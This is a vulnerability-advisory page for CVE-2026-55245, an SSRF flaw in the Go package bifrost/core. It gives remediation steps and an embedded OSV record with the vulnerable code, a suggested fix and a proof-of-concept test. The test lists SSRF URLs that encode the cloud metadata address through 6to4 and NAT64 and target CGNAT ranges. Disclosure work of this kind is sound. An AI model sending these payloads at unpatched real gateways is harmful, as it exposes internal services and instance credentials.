Vulnerabilities in pkg:golang/github.com/maximhq/bifrost/core
PACKAGECVE-2026-55245 is a HIGH ispublicip permits cgnat, ipv6 6to4/nat64, vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Github.com/maximhq/bifrost/core libraries in the Go ecosystem. The issue involves ispublicip permits cgnat, ipv6 6to4/nat64, and site-local in fetchandencodeurl. Remediation is available by upgrading affected packages to version 1.5.17.
pkg:golang/github.com/maximhq/bifrost/core
Vulnerability advisories affecting package pkg:golang/github.com/maximhq/bifrost/core. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-w98g-5w9p-p3rc | CVE-2026-55245 | HIGH | Bifrost's SSRF deny-list is incomplete: isPublicIP permits CGNAT, IPv6 6to4/NAT64, and site-local in FetchAndEncodeURL |
CVE-2026-55245 at a Glance
How to Fix CVE-2026-55245
To remediate this vulnerability, upgrade all affected Github.com/maximhq/bifrost/core dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/maximhq/bifrost/core to 1.5.17
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/maximhq/bifrost/core
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-55245, inspect your project dependencies for Github.com/maximhq/bifrost/core:
inspect dependencies for github.com/maximhq/bifrost/core
Analyze the terminal output to locate any version of Github.com/maximhq/bifrost/core in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.5.17), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Github.com/maximhq/bifrost/core, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-55245 Affected Github.com/maximhq/bifrost/core Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/maximhq/bifrost/core
|
Go |
< 1.5.17
|
1.5.17
|
References
Frequently Asked Questions
What is CVE-2026-55245?
Which Github.com/maximhq/bifrost/core versions are affected?
What version fixes CVE-2026-55245?
Is github.com/maximhq/bifrost/core affected?
What CWE is associated with CVE-2026-55245?
How can I check Go dependencies for CVE-2026-55245?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-w98g-5w9p-p3rc",
"modified" : "2026-08-28T18:26:02Z",
"published" : "2026-08-28T18:26:02Z",
"aliases" : [ "CVE-2026-55245" ],
"summary" : "Bifrost's SSRF deny-list is incomplete: isPublicIP permits CGNAT, IPv6 6to4/NAT64, and site-local in FetchAndEncodeURL",
"details" : "## Summary\n\n`isPublicIP` in `core/providers/utils/fetch.go` — the SSRF deny-list that gates `FetchAndEncodeURL` — does not reject several routable address ranges that map onto internal infrastructure. Carrier-Grade NAT (`100.64.0.0/10`, RFC 6598), IPv6 6to4 (`2002::/16`), NAT64 (`64:ff9b::/96` and `64:ff9b:1::/48`), and deprecated IPv6 site-local (`fec0::/10`) are all classified as public and permitted. An attacker who controls a multimodal image/document URL in a Bedrock or Vertex request body can drive the gateway to fetch internal services it should not reach — including the cloud instance-metadata endpoint via the 6to4 / NAT64 embeddings of `169.254.169.254`.\n\nThe rest of the fetch hardening is correct and is **not** part of this report: the dial-time `LookupIP` + pin to `ips[0]` closes the DNS-rebinding TOCTOU, `CheckRedirect` re-validates redirect targets, the scheme gate, the 25 MiB cap, and the 20 s timeout all work. This is purely a residual IP-classification gap in `isPublicIP`.\n\n## Affected component\n\n- File: `core/providers/utils/fetch.go`, function `isPublicIP` (lines 107-118), reached only through `FetchAndEncodeURL` (line 28).\n- Go module: `github.com/maximhq/bifrost/core`\n- Version: confirmed on the current `dev` HEAD `f415c144678bd4b411d74a1c1f85f18652833224` (`core/version` = `1.5.15`).\n\n## Vulnerable code\n\n```go\nfunc isPublicIP(ip net.IP) bool {\n\taddr, ok := netip.AddrFromSlice(ip)\n\tif !ok {\n\t\treturn false\n\t}\n\taddr = addr.Unmap()\n\tif addr.IsLoopback() || addr.IsPrivate() || addr.IsLinkLocalUnicast() || addr.IsLinkLocalMulticast() ||\n\t\taddr.IsMulticast() || addr.IsUnspecified() || addr.IsInterfaceLocalMulticast() {\n\t\treturn false\n\t}\n\treturn true\n}\n```\n\n`addr.IsPrivate()` covers only RFC 1918 + RFC 4193 (`fc00::/7`); it does **not** cover CGNAT `100.64.0.0/10`. `addr.Unmap()` only collapses the `::ffff:0:0/96` IPv4-mapped form, so 6to4 (`2002::/16`) and NAT64 (`64:ff9b::/96`, `64:ff9b:1::/48`) IPv6 representations of internal/link-local IPv4 are never reduced to their embedded address and slip past every check. `fec0::/10` (deprecated IPv6 site-local) is likewise not matched by any of the helpers used.\n\n## Attack surface / who can trigger it\n\n`FetchAndEncodeURL` is invoked from the multimodal request-handling path of two providers:\n\n- `core/providers/bedrock/utils.go:1073` (document `block.File.FileURL`), `:1187` (image URL via `convertImageToBedrockSource`)\n- `core/providers/vertex/vertex.go:402` (document `block.File.FileURL`)\n\nThese URLs come straight from the client's chat-completion request body (a remote image/document URL in a multimodal content block). `SanitizeImageURL` (`core/schemas/utils.go:180`) only checks the scheme and a non-empty host — it performs no address filtering — so `isPublicIP` is the sole network guard, and it is always on (no opt-out flag). On a multi-tenant or shared gateway deployment, any client able to send a request can choose the fetch target.\n\n## Impact\n\nServer-side request forgery from the gateway into internal address space that the deny-list intends to block:\n\n- **CGNAT `100.64.0.0/10`** — reachable anywhere the internal fabric uses RFC 6598 space (common in Kubernetes overlay networks and cloud NAT fabrics). Live on any such host with no extra preconditions.\n- **6to4 `2002:a9fe:a9fe::` and NAT64 `64:ff9b::a9fe:a9fe`** — both embed `169.254.169.254`, the cloud instance-metadata endpoint. On a dual-stack or NAT64-enabled host (the default on AWS/GCP IPv6-only subnets) these reach IMDS even though the direct `169.254.169.254` and `::ffff:169.254.169.254` forms are correctly blocked.\n- **`fec0::/10`** — deprecated site-local, still routed on some networks.\n\nCWE-918 (Server-Side Request Forgery). Self-discovered while reviewing IP-classification deny-lists; the missing dimensions match the classes accepted as HIGH in the canonical references below.\n\n## Proof of concept\n\nA test placed in-package (`core/providers/utils/`) drives the **real** `FetchAndEncodeURL` — real `http.Client`, real `Transport.DialContext`, real `isPublicIP` — and classifies each target by whether `isPublicIP` let it past the gate. A `blocked fetch to non-public address` error means the gate rejected it before any dial (safe); any other outcome means the gate permitted the dial to a forbidden range (SSRF reachable).\n\n```go\npackage utils\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n)\n\nfunc TestSSRFGateDecision(t *testing.T) {\n\tcases := []struct{ name, url string }{\n\t\t{\"CGNAT-100.64\", \"http://100.64.1.1:9/\"},\n\t\t{\"CGNAT-100.127\", \"http://100.127.255.254:9/\"},\n\t\t{\"6to4-IMDS\", \"http://[2002:a9fe:a9fe::]:9/\"},\n\t\t{\"NAT64-IMDS\", \"http://[64:ff9b::a9fe:a9fe]:9/\"},\n\t\t{\"NAT64-local-IMDS\", \"http://[64:ff9b:1::a9fe:a9fe]:9/\"},\n\t\t{\"sitelocal-fec0\", \"http://[fec0::1]:9/\"},\n\t\t// controls (must be rejected at the gate):\n\t\t{\"CONTROL-direct-IMDS\", \"http://169.254.169.254:9/\"},\n\t\t{\"CONTROL-RFC1918\", \"http://10.0.0.1:9/\"},\n\t\t{\"CONTROL-loopback\", \"http://127.0.0.1:9/\"},\n\t\t{\"CONTROL-mapped-IMDS\", \"http://[::ffff:169.254.169.254]:9/\"},\n\t}\n\tfor _, c := range cases {\n\t\tctx, cancel := context.WithTimeout(context.Background(), 4*time.Second)\n\t\t_, _, err := FetchAndEncodeURL(ctx, c.url)\n\t\tcancel()\n\t\tgateBlocked := err != nil && strings.Contains(err.Error(), \"blocked fetch to non-public address\")\n\t\tfmt.Printf(\"%-22s gateBlock=%-6v %v\\n\", c.name, gateBlocked, err)\n\t}\n}\n```\n\nVerbatim output (`go test ./providers/utils/ -run TestSSRFGateDecision -v` against HEAD `f415c14`, Go 1.26.1):\n\n```\n=== bifrost FetchAndEncodeURL SSRF gate decision (REAL code path) ===\ntarget gateBlock verbatim error / outcome\n----------------------------------------------------------------------------------------------------\nCGNAT-100.64 false failed to fetch from \"http://100.64.1.1:9/\": Get \"http://100.64.1.1:9/\": context deadline exceeded\nCGNAT-100.127 false failed to fetch from \"http://100.127.255.254:9/\": Get \"http://100.127.255.254:9/\": context deadline exceeded\n6to4-IMDS false failed to fetch from \"http://[2002:a9fe:a9fe::]:9/\": Get \"http://[2002:a9fe:a9fe::]:9/\": EOF\nNAT64-IMDS false failed to fetch from \"http://[64:ff9b::a9fe:a9fe]:9/\": Get \"http://[64:ff9b::a9fe:a9fe]:9/\": context deadline exceeded\nNAT64-local-IMDS false failed to fetch from \"http://[64:ff9b:1::a9fe:a9fe]:9/\": Get \"http://[64:ff9b:1::a9fe:a9fe]:9/\": context deadline exceeded\nsitelocal-fec0 false failed to fetch from \"http://[fec0::1]:9/\": Get \"http://[fec0::1]:9/\": EOF\nCONTROL-direct-IMDS true failed to fetch from \"http://169.254.169.254:9/\": Get \"http://169.254.169.254:9/\": blocked fetch to non-public address 169.254.169.254\nCONTROL-RFC1918 true failed to fetch from \"http://10.0.0.1:9/\": Get \"http://10.0.0.1:9/\": blocked fetch to non-public address 10.0.0.1\nCONTROL-loopback true failed to fetch from \"http://127.0.0.1:9/\": Get \"http://127.0.0.1:9/\": blocked fetch to non-public address 127.0.0.1\nCONTROL-mapped-IMDS true failed to fetch from \"http://[::ffff:169.254.169.254]:9/\": Get \"http://[::ffff:169.254.169.254]:9/\": blocked fetch to non-public address 169.254.169.254\n```\n\nReading the result: every control (direct IMDS, RFC 1918, loopback, IPv4-mapped IMDS) is rejected **at the gate** with `blocked fetch to non-public address` and no socket is ever opened. Every CGNAT / 6to4 / NAT64 / site-local target instead passes `isPublicIP` and proceeds to the network dial — observed as `context deadline exceeded` or `EOF` (a real connection attempt), never `blocked fetch to non-public address`. The `blocked` vs `dial-attempted` split isolates the `isPublicIP` classification defect precisely.\n\nA standalone re-check of the verbatim `isPublicIP` body confirms the classification directly (Go 1.26.1):\n\n```\n100.64.0.1 isPublicIP=true (CGNAT — should be blocked)\n100.127.255.254 isPublicIP=true (CGNAT)\n2002:a9fe:a9fe:: isPublicIP=true (6to4 -> 169.254.169.254)\n64:ff9b::a9fe:a9fe isPublicIP=true (NAT64 -> 169.254.169.254)\n64:ff9b:1::a9fe:a9fe isPublicIP=true (NAT64 local-use -> 169.254.169.254)\nfec0::1 isPublicIP=true (deprecated site-local)\n169.254.169.254 isPublicIP=false (direct IMDS — correctly blocked, control)\n::ffff:169.254.169.254 isPublicIP=false (IPv4-mapped — correctly blocked, control)\n8.8.8.8 isPublicIP=true (public — correctly allowed, control)\n```\n\n### Honest scope note\n\nThe test host used for verification has no CGNAT/NAT64 routing that returns to a local recorder, so I did not capture live instance-metadata bytes here — the connection lands on the upstream NAT or times out. The 6to4/NAT64 vectors require a dual-stack or NAT64-enabled host to reach IMDS, and the CGNAT vector requires the deployment's internal network to use `100.64.0.0/10`. These are the same routing preconditions the references below were accepted under. The defect demonstrated above is unconditional: `isPublicIP` permits the forbidden ranges on every host.\n\n## References (canonical dimension precedents)\n\n- CVE-2026-45741 / GHSA-86m8-88fq-xfxp — Gotenberg `IsPublicIP` IPv6 6to4 / NAT64 / site-local bypass; same Go `netip` + `Unmap` gap.\n- GHSA-5jh9-2h63-pw4q — CC-Tweaked NAT64 (`64:ff9b::/96`) bypass; their fix adds `isCarrierGradeNatAddress` (CGNAT) + NAT64 handling.\n\n## Suggested fix\n\nIn `isPublicIP`, after `Unmap()`:\n\n1. Reject CGNAT: `100.64.0.0/10` for IPv4 (and the `::ffff:100.64.0.0/106` mapped form is already handled by `Unmap`).\n2. For IPv6, extract any embedded IPv4 and re-run the classification on it: 6to4 (`2002::/16` -> bytes 2-5), NAT64 well-known (`64:ff9b::/96`) and local-use (`64:ff9b:1::/48`) -> low 32 bits. Then apply the same loopback/private/link-local/CGNAT checks to the extracted IPv4.\n3. Reject deprecated site-local `fec0::/10`.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/maximhq/bifrost/core"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.5.17"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/maximhq/bifrost/security/advisories/GHSA-w98g-5w9p-p3rc"
}, {
"type" : "WEB",
"url" : "https://github.com/maximhq/bifrost/pull/4092"
}, {
"type" : "WEB",
"url" : "https://github.com/maximhq/bifrost/commit/54ec431fc5255ff42c36420d88549477e0b33d89"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/maximhq/bifrost"
}, {
"type" : "WEB",
"url" : "https://github.com/maximhq/bifrost/releases/tag/core/v1.5.17"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-08-28T18:26:02Z",
"nvd_published_at" : null
}
}